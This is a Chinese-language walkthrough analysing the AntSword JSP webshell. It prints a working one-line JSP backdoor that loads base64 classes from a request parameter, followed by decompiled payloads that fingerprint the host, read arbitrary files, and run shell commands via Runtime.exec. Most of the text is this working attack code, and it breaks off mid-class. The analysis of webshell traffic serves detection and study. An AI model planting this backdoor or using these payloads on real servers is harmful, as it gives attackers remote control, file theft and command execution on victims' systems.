1. 蚂蚁-jsp
1.1. 一句话木马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
1.2. 连接数据分析包
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
ClassLoader classLoaderTemp = this.getClass().getClassLoader();
System.out.println(request.getParameter("var1"));
if (cls != null) {
byte[] decode_bytes = base64Decode(cls);
String temp_string = new String(decode_bytes);
System.out.println(temp_string);
Object targetObject = new U(classLoaderTemp).g(decode_bytes).newInstance();
targetObject.equals(pageContext);
}
%>
将二进制文件转存res.class
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
ClassLoader classLoaderTemp = this.getClass().getClassLoader();
if (cls != null) {
byte[] decode_bytes = base64Decode(cls);
File file = new File("C:\\Users\\hunter\\IdeaProjects\\antsword_analysis\\src\\main\\webapp\\res.class");
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(decode_bytes);
Object targetObject = new U(classLoaderTemp).g(decode_bytes).newInstance();
targetObject.equals(pageContext);
}
%>
使用idea
自带反编译.class
文件功能,或者使用jadx-gui
工具
import java.io.File;
import java.lang.reflect.Field;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
public class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs;
public Info() {
}
public boolean equals(Object var1) {
if (var1 instanceof PageContext) {
PageContext var2 = (PageContext)var1;
this.request = (HttpServletRequest)var2.getRequest();
this.response = (HttpServletResponse)var2.getResponse();
} else {
Field var4;
Field var10;
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
var10 = this.request.getClass().getDeclaredField("request");
var10.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest)var10.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse)var4.get(var3);
} catch (Exception var9) {
var9.printStackTrace();
}
} else if (var1 instanceof HttpServletResponse) {
this.response = (HttpServletResponse)var1;
try {
var10 = this.response.getClass().getDeclaredField("response");
var10.setAccessible(true);
HttpServletResponse var12 = (HttpServletResponse)var10.get(this.response);
var4 = var12.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest)var4.get(var12);
} catch (Exception var8) {
var8.printStackTrace();
}
}
}
this.cs = this.request.getParameter("charset") != null ? this.request.getParameter("charset") : "UTF-8";
StringBuffer var11 = new StringBuffer("");
StringBuffer var13 = new StringBuffer("");
String var14 = "37f867f";
String var5 = "0ec9efe8a367";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
var11.append(var14);
var13.append(this.SysInfoCode(this.request));
var11.append(var13.toString());
var11.append(var5);
this.response.getWriter().print(var11.toString());
} catch (Exception var7) {
var13.append("ERROR:// " + var7.toString());
}
return true;
}
String SysInfoCode(HttpServletRequest var1) {
String var2 = "";
String var3;
String var4;
try {
if (var1.getSession().getServletContext().getRealPath("/") != null) {
var2 = var1.getSession().getServletContext().getRealPath("/");
} else {
var3 = this.getClass().getResource("/").getPath();
var2 = (new File(var3)).getParent();
}
} catch (Exception var6) {
var4 = this.getClass().getResource("/").getPath();
var2 = (new File(var4)).getParent();
}
var2 = String.valueOf(var2.charAt(0)).toUpperCase() + var2.substring(1);
var3 = System.getProperty("os.name");
var4 = System.getProperty("user.name");
String var5 = this.WwwRootPathCode(var2);
return var2 + "\t" + var5 + "\t" + var3 + "\t" + var4;
}
String WwwRootPathCode(String var1) {
String var2 = "";
if (!var1.substring(0, 1).equals("/")) {
File[] var3 = File.listRoots();
for(int var4 = 0; var4 < var3.length; ++var4) {
var2 = var2 + var3[var4].toString().substring(0, 2) + "";
}
} else {
var2 = var2 + "/";
}
return var2;
}
}
1.3. 读取数据分析包
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
ClassLoader classLoaderTemp = this.getClass().getClassLoader();
if (cls != null) {
byte[] decode_bytes = base64Decode(cls);
File file = new File("C:\\Users\\hunter\\IdeaProjects\\antsword_analysis\\src\\main\\webapp\\res.class");
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(decode_bytes);
String temp_string = new String(decode_bytes);
System.out.println(temp_string);
Object targetObject = new U(classLoaderTemp).g(decode_bytes).newInstance();
targetObject.equals(pageContext);
}
%>
查找res.class
中的getParameter
值
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
public class Read_file {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Read_file() {
}
public boolean equals(Object var1) {
if (var1 instanceof PageContext) {
PageContext var2 = (PageContext)var1;
this.request = (HttpServletRequest)var2.getRequest();
this.response = (HttpServletResponse)var2.getResponse();
} else {
Field var4;
Field var11;
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
var11 = this.request.getClass().getDeclaredField("request");
var11.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest)var11.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse)var4.get(var3);
} catch (Exception var10) {
var10.printStackTrace();
}
} else if (var1 instanceof HttpServletResponse) {
this.response = (HttpServletResponse)var1;
try {
var11 = this.response.getClass().getDeclaredField("response");
var11.setAccessible(true);
HttpServletResponse var13 = (HttpServletResponse)var11.get(this.response);
var4 = var13.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest)var4.get(var13);
} catch (Exception var9) {
var9.printStackTrace();
}
}
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var12 = new StringBuffer("");
StringBuffer var14 = new StringBuffer("");
String var15 = "f874943932a1";
String var5 = "ff58d223b5";
String var6 = "rdaf783aff6697";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var7 = this.EC(this.decode(this.request.getParameter(var6) + ""));
var12.append(var15);
var14.append(this.ReadFileCode(var7));
var12.append(var14.toString());
var12.append(var5);
this.response.getWriter().print(var12.toString());
} catch (Exception var8) {
var14.append("ERROR:// " + var8.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var8 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var8);
} catch (Exception var7) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
String var10 = System.getProperty("java.version");
byte[] var9;
Class var11;
Object var12;
if (var10.compareTo("1.9") >= 0) {
var11 = Class.forName("java.util.Base64");
var12 = var11.getMethod("getDecoder").invoke(var11);
var9 = (byte[])((byte[])var12.getClass().getMethod("decode", String.class).invoke(var12, var1));
} else {
var11 = Class.forName("sun.misc.BASE64Decoder");
var12 = var11.getDeclaredConstructor().newInstance();
var9 = (byte[])((byte[])var12.getClass().getMethod("decodeBuffer", String.class).invoke(var12, var1));
}
return new String(var9, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for(int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ReadFileCode(String var1) throws Exception {
String var2 = "";
String var3 = "";
BufferedReader var4;
for(var4 = new BufferedReader(new InputStreamReader(new FileInputStream(new File(var1)), this.cs)); (var2 = var4.readLine()) != null; var3 = var3 + var2 + "\r\n") {
}
var4.close();
return var3;
}
}
String var7 = this.EC(this.decode(this.request.getParameter(var6) + ""));
再次抓包打印var6
,并注释生成res.class
文件代码
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
ClassLoader classLoaderTemp = this.getClass().getClassLoader();
System.out.println(request.getParameter("var6"));
if (cls != null) {
byte[] decode_bytes = base64Decode(cls);
// File file = new File("C:\\Users\\hunter\\IdeaProjects\\antsword_analysis\\src\\main\\webapp\\res.class");
// FileOutputStream fileOutputStream = new FileOutputStream(file);
// fileOutputStream.write(decode_bytes);
String temp_string = new String(decode_bytes);
System.out.println(temp_string);
Object targetObject = new U(classLoaderTemp).g(decode_bytes).newInstance();
targetObject.equals(pageContext);
}
%>
新版与旧版不通,无法读取var6
的值
1.4. 混淆-连接流量分析
连接木马时:
- 读取当前的绝对路径
- 读取操作系统版本
- 读取当前的用户名
- 读取存在的盘符
如果命令没回显
关闭防火墙即可
成功回显
调试
新建decode1.jsp
,将反编译的.class
文件放入decode1.jsp
中
不要删除<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs;
public Info() {
}
public boolean equals(Object pageContext) {
// 判断 pageContext 是否是 PageContext 的实例
if (pageContext instanceof PageContext) {
// 将参数 pageContext 转化为 PageContext 类型的对象
PageContext var2 = (PageContext) pageContext;
// 获得 request 对象
this.request = (HttpServletRequest) var2.getRequest();
// 获得 response
this.response = (HttpServletResponse) var2.getResponse();
} else {
Field var4;
Field var10;
if (pageContext instanceof HttpServletRequest) {
this.request = (HttpServletRequest) pageContext;
try {
var10 = this.request.getClass().getDeclaredField("request");
var10.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var10.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var9) {
var9.printStackTrace();
}
} else if (pageContext instanceof HttpServletResponse) {
this.response = (HttpServletResponse) pageContext;
try {
var10 = this.response.getClass().getDeclaredField("response");
var10.setAccessible(true);
HttpServletResponse var12 = (HttpServletResponse) var10.get(this.response);
var4 = var12.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var12);
} catch (Exception var8) {
var8.printStackTrace();
}
}
}
this.cs = this.request.getParameter("charset") != null ? this.request.getParameter("charset") : "UTF-8";
StringBuffer var11 = new StringBuffer("");
StringBuffer var13 = new StringBuffer("");
String var14 = "37f867f";
String var5 = "0ec9efe8a367";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
var11.append(var14);
var13.append(this.SysInfoCode(this.request));
var11.append(var13.toString());
var11.append(var5);
this.response.getWriter().print(var11.toString());
} catch (Exception var7) {
var13.append("ERROR:// " + var7.toString());
}
return true;
}
String SysInfoCode(HttpServletRequest var1) {
String var2 = "";
String var3;
String var4;
try {
if (var1.getSession().getServletContext().getRealPath("/") != null) {
var2 = var1.getSession().getServletContext().getRealPath("/");
} else {
var3 = this.getClass().getResource("/").getPath();
var2 = (new File(var3)).getParent();
}
} catch (Exception var6) {
var4 = this.getClass().getResource("/").getPath();
var2 = (new File(var4)).getParent();
}
var2 = String.valueOf(var2.charAt(0)).toUpperCase() + var2.substring(1);
var3 = System.getProperty("os.name");
var4 = System.getProperty("user.name");
String var5 = this.WwwRootPathCode(var2);
return var2 + "\t" + var5 + "\t" + var3 + "\t" + var4;
}
String WwwRootPathCode(String var1) {
String var2 = "";
if (!var1.substring(0, 1).equals("/")) {
File[] var3 = File.listRoots();
for (int var4 = 0; var4 < var3.length; ++var4) {
var2 = var2 + var3[var4].toString().substring(0, 2) + "";
}
} else {
var2 = var2 + "/";
}
return var2;
}
}
Info info = new Info();
info.equals(pageContext);
%>
删除方框内的代码
导入File
类
导入Field
类
new
一个Info
类
将var1
全部换成pageContext
成功打印出参数内容
分析
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs;
public Info() {
}
public boolean equals(Object pageContext) {
// 判断 pageContext 是否是 PageContext 的实例
if (pageContext instanceof PageContext) {
// 将参数 pageContext 转化为 PageContext 类型的对象
PageContext var2 = (PageContext) pageContext;
// 获得 request 对象
this.request = (HttpServletRequest) var2.getRequest();
// 获得 response
this.response = (HttpServletResponse) var2.getResponse();
} else {
Field var4;
Field var10;
if (pageContext instanceof HttpServletRequest) {
this.request = (HttpServletRequest) pageContext;
try {
var10 = this.request.getClass().getDeclaredField("request");
var10.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var10.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var9) {
var9.printStackTrace();
}
} else if (pageContext instanceof HttpServletResponse) {
this.response = (HttpServletResponse) pageContext;
try {
var10 = this.response.getClass().getDeclaredField("response");
var10.setAccessible(true);
HttpServletResponse var12 = (HttpServletResponse) var10.get(this.response);
var4 = var12.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var12);
} catch (Exception var8) {
var8.printStackTrace();
}
}
}
this.cs = this.request.getParameter("charset") != null ? this.request.getParameter("charset") : "UTF-8";
StringBuffer var11 = new StringBuffer("");
StringBuffer var13 = new StringBuffer("");
String var14 = "37f867f";
String var5 = "0ec9efe8a367";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
var11.append(var14);
var13.append(this.SysInfoCode(this.request));
var11.append(var13.toString());
var11.append(var5);
this.response.getWriter().print(var11.toString());
} catch (Exception var7) {
var13.append("ERROR:// " + var7.toString());
}
return true;
}
String SysInfoCode(HttpServletRequest var1) throws IOException {
String var2 = "";
String var3;
String var4;
try {
// 获得session值,再获得对应的环境,最后再获得绝对路径
if (var1.getSession().getServletContext().getRealPath("/") != null) {
// 如果路径不为 null ,此时 var2 就等于绝对路径
var2 = var1.getSession().getServletContext().getRealPath("/");
} else {
var3 = this.getClass().getResource("/").getPath();
var2 = (new File(var3)).getParent();
}
} catch (Exception var6) {
var4 = this.getClass().getResource("/").getPath();
var2 = (new File(var4)).getParent();
}
// 获得绝对路径
var2 = String.valueOf(var2.charAt(0)).toUpperCase() + var2.substring(1);
System.out.println("now the RealPath.name is: " + var2);
// 获得操作系统版本
var3 = System.getProperty("os.name");
System.out.println("now the os.name is: " + var3);
// 获得用户名
var4 = System.getProperty("user.name");
System.out.println("now the user.name is: " + var4);
// 获得当前系统中存在的盘符
String var5 = this.WwwRootPathCode(var2);
System.out.println("now the WwwRootPathCode.name is: " + var5);
return var2 + "\t" + var5 + "\t" + var3 + "\t" + var4;
}
String WwwRootPathCode(String var1) {
String var2 = "";
// 如果开头第一个字符为正斜杠(/)->linux操作系统
if (!var1.substring(0, 1).equals("/")) {
File[] var3 = File.listRoots();
// 如果是,则遍历
for (int var4 = 0; var4 < var3.length; ++var4) {
var2 = var2 + var3[var4].toString().substring(0, 2) + "";
}
} else {
// 否则加个正斜杠(/)
var2 = var2 + "/";
}
return var2;
}
}
Info info = new Info();
info.equals(pageContext);
%>
1.5. 混淆-命令执行流量分析
调试
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
ClassLoader classLoaderTemp = this.getClass().getClassLoader();
if (cls != null) {
byte[] decode_bytes = base64Decode(cls);
File file = new File("C:\\Users\\hunter\\IdeaProjects\\antsword_analysis\\src\\main\\webapp\\command.class");
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(decode_bytes);
String temp_string = new String(decode_bytes);
System.out.println(temp_string);
Object targetObject = new U(classLoaderTemp).g(decode_bytes).newInstance();
targetObject.equals(pageContext);
}
%>
设置代理
执行whoami
将二进制文件转存command.class
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
public class Exec {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Exec() {
}
public boolean equals(Object var1) {
if (var1 instanceof PageContext) {
PageContext var2 = (PageContext)var1;
this.request = (HttpServletRequest)var2.getRequest();
this.response = (HttpServletResponse)var2.getResponse();
} else {
Field var4;
Field var15;
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest)var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse)var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
} else if (var1 instanceof HttpServletResponse) {
this.response = (HttpServletResponse)var1;
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse)var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest)var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
}
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var16 = new StringBuffer("");
StringBuffer var18 = new StringBuffer("");
String var19 = "7f6be86";
String var5 = "d971b";
String var6 = "y33f4764530ede";
String var7 = "m7d72b47fc6ecf";
String var8 = "z6b66603f98c92";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var9 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var10 = this.EC(this.decode(this.request.getParameter(var7) + ""));
String var11 = this.EC(this.decode(this.request.getParameter(var8) + ""));
var16.append(var19);
var18.append(this.ExecuteCommandCode(var9, var10, var11));
var16.append(var18.toString());
var16.append(var5);
this.response.getWriter().print(var16.toString());
} catch (Exception var12) {
var18.append("ERROR:// " + var12.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var9 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var9);
} catch (Exception var8) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
byte[] var10;
try {
Class var11 = Class.forName("sun.misc.BASE64Decoder");
var10 = (byte[])((byte[])var11.getMethod("decodeBuffer", String.class).invoke(var11.newInstance(), var1));
} catch (ClassNotFoundException var7) {
Class var12 = Class.forName("java.util.Base64");
Object var13 = var12.getMethod("getDecoder").invoke((Object)null);
var10 = (byte[])((byte[])var13.getClass().getMethod("decode", String.class).invoke(var13, var1));
}
return new String(var10, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for(int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ExecuteCommandCode(String var1, String var2, String var3) throws Exception {
StringBuffer var4 = new StringBuffer("");
String[] var5 = new String[]{var1, !this.isWin() ? "-c" : "/c", var2};
Map var6 = System.getenv();
HashMap var7 = new HashMap(var6);
String[] var8 = var3.split("\\|\\|\\|asline\\|\\|\\|");
for(int var9 = 0; var9 < var8.length; ++var9) {
String[] var10 = var8[var9].split("\\|\\|\\|askey\\|\\|\\|");
if (var10.length == 2) {
var7.put(var10[0], var10[1]);
}
}
String[] var13 = new String[var7.size()];
int var14 = 0;
for(Iterator var11 = var7.keySet().iterator(); var11.hasNext(); ++var14) {
String var12 = (String)var11.next();
var13[var14] = var12 + "=" + (String)var7.get(var12);
}
Process var15 = Runtime.getRuntime().exec(var5, var13);
this.CopyInputStream(var15.getInputStream(), var4);
this.CopyInputStream(var15.getErrorStream(), var4);
return var4.toString();
}
boolean isWin() {
String var1 = System.getProperty("os.name");
var1 = var1.toLowerCase();
return var1.startsWith("win");
}
void CopyInputStream(InputStream var1, StringBuffer var2) throws Exception {
BufferedReader var4 = new BufferedReader(new InputStreamReader(var1, this.cs));
String var3;
while((var3 = var4.readLine()) != null) {
var2.append(var3 + "\r\n");
}
var4.close();
}
}
新建command_decode.jsp
,将反编译的command.class
文件放入command_decode.jsp
中
不要删除<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class Exec {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Exec() {
}
public boolean equals(Object pageContext) {
if (pageContext instanceof PageContext) {
PageContext var2 = (PageContext) pageContext;
this.request = (HttpServletRequest) var2.getRequest();
this.response = (HttpServletResponse) var2.getResponse();
} else {
Field var4;
Field var15;
if (pageContext instanceof HttpServletRequest) {
this.request = (HttpServletRequest) pageContext;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
} else if (pageContext instanceof HttpServletResponse) {
this.response = (HttpServletResponse) pageContext;
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
}
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var16 = new StringBuffer("");
StringBuffer var18 = new StringBuffer("");
String var19 = "7f6be86";
String var5 = "d971b";
String var6 = "y33f4764530ede";
String var7 = "m7d72b47fc6ecf";
String var8 = "z6b66603f98c92";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var9 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var10 = this.EC(this.decode(this.request.getParameter(var7) + ""));
String var11 = this.EC(this.decode(this.request.getParameter(var8) + ""));
var16.append(var19);
var18.append(this.ExecuteCommandCode(var9, var10, var11));
var16.append(var18.toString());
var16.append(var5);
this.response.getWriter().print(var16.toString());
} catch (Exception var12) {
var18.append("ERROR:// " + var12.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var9 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var9);
} catch (Exception var8) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
byte[] var10;
try {
Class var11 = Class.forName("sun.misc.BASE64Decoder");
var10 = (byte[]) ((byte[]) var11.getMethod("decodeBuffer", String.class).invoke(var11.newInstance(), var1));
} catch (ClassNotFoundException var7) {
Class var12 = Class.forName("java.util.Base64");
Object var13 = var12.getMethod("getDecoder").invoke((Object) null);
var10 = (byte[]) ((byte[]) var13.getClass().getMethod("decode", String.class).invoke(var13, var1));
}
return new String(var10, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for (int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ExecuteCommandCode(String var1, String var2, String var3) throws Exception {
StringBuffer var4 = new StringBuffer("");
String[] var5 = new String[]{var1, !this.isWin() ? "-c" : "/c", var2};
Map var6 = System.getenv();
HashMap var7 = new HashMap(var6);
String[] var8 = var3.split("\\|\\|\\|asline\\|\\|\\|");
for (int var9 = 0; var9 < var8.length; ++var9) {
String[] var10 = var8[var9].split("\\|\\|\\|askey\\|\\|\\|");
if (var10.length == 2) {
var7.put(var10[0], var10[1]);
}
}
String[] var13 = new String[var7.size()];
int var14 = 0;
for (Iterator var11 = var7.keySet().iterator(); var11.hasNext(); ++var14) {
String var12 = (String) var11.next();
var13[var14] = var12 + "=" + (String) var7.get(var12);
}
Process var15 = Runtime.getRuntime().exec(var5, var13);
this.CopyInputStream(var15.getInputStream(), var4);
this.CopyInputStream(var15.getErrorStream(), var4);
return var4.toString();
}
boolean isWin() {
String var1 = System.getProperty("os.name");
var1 = var1.toLowerCase();
return var1.startsWith("win");
}
void CopyInputStream(InputStream var1, StringBuffer var2) throws Exception {
BufferedReader var4 = new BufferedReader(new InputStreamReader(var1, this.cs));
String var3;
while ((var3 = var4.readLine()) != null) {
var2.append(var3 + "\r\n");
}
